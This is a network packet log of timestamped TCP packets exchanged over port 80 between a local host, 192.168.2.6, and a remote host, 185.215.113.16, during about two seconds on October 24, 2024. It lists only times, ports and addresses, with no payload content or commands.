Oct 24, 2024 04:57:59.333266020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.333314896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.377146006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.381700039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.381733894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.381788969 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.381791115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.381824970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.381860971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.381866932 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.381894112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.381942034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.382116079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.382169962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.382203102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.382215977 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.382236958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.382273912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.382497072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.382529974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.382567883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.382577896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.424045086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.457353115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.457391024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.457427025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.457561016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.501204014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501260996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501297951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501312971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.501353025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.501354933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501389980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501424074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501441956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.501457930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501491070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501502037 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.501615047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501648903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501662016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.501682997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501714945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501724958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.501749992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.501791954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.576750040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.576792955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.576828957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.576853991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.620390892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620426893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620461941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620472908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.620515108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.620520115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620556116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620589018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620598078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.620624065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620666027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.620910883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620944977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620980024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.620990038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.621014118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.621057034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.621223927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.621258020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.621292114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.621301889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.674094915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.695981026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.696019888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.696055889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.696082115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.736592054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.739892006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.739933014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740051031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.740067959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740103006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740137100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740153074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.740171909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740206957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740225077 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.740238905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740272045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740283966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.740305901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740340948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740367889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.740374088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.740411997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.740423918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.782020092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.782191992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.782797098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.815222979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.815241098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.815258980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.815306902 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.815347910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.859117031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859152079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859205008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859240055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859272957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859308958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859406948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859416962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.859416962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.859456062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859461069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.859508038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.859575987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859610081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859644890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859663010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.859678030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859725952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.859957933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.859992027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.860028028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.860038042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.908469915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.934448004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.934479952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.934514046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.934547901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.934616089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.934655905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.978410006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978468895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978504896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978538036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978570938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978604078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978646994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978679895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978705883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.978713989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978740931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.978748083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.978790998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.979054928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.979088068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.979123116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.979157925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.979176998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.979192972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.979209900 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.033404112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.053766012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.053797960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.053831100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.053853035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.053864002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.055068016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.097789049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.097845078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.097879887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.097910881 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.097913027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.097946882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.097975016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.097978115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.098011017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.098021984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.098045111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.098169088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.098189116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.098241091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.098282099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.098328114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.098403931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.098439932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.098488092 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.138030052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.138062954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.138083935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.138098001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.138130903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.138175011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.173054934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.173085928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.173119068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.173119068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.173154116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.173171997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.216950893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217060089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217061996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.217072964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217091084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217103958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217116117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.217118979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217132092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217149973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.217152119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217169046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.217711926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217721939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217792034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.217806101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217824936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217847109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217850924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.217859983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.217889071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.257428885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.257467985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.257488966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.257504940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.257570028 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.292831898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.292867899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.292901039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.292957067 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.336158991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336220026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.336222887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336256027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336308956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336361885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336395979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336431026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336463928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336499929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336653948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.336653948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.336826086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336855888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336903095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.336909056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.336937904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.337593079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.376779079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.376801014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.376817942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.376830101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.376842022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.376893044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.379036903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.411624908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.411688089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.411720991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.411753893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.411818027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.609091997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609155893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609193087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609225988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609261036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609277010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.609292984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609302044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.609332085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609344959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.609364986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609399080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609435081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609453917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.609469891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609487057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.609523058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609556913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.609566927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.652200937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652272940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652287960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652303934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652313948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652326107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652335882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652348042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652357101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652362108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.652424097 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.652621984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652671099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652683020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652720928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.652741909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652753115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652761936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.652791977 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.652803898 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.695245981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.695261955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.695301056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.696537018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.696573973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.696609020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.696624041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.696649075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.696683884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.696717978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.696738958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.696774006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.728342056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.728374004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.728425026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.735821009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.735857964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.735893965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.735907078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.771456003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.771466970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.771675110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.816431999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.816468000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.816503048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.816536903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.816551924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.816574097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.816586018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.847709894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.847748041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.847784042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.847836971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.848045111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.855110884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.855168104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.855201006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.855228901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.908399105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.935077906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.935118914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.935153961 CEST	80	49774	185.215.113.16	192.168.2.6
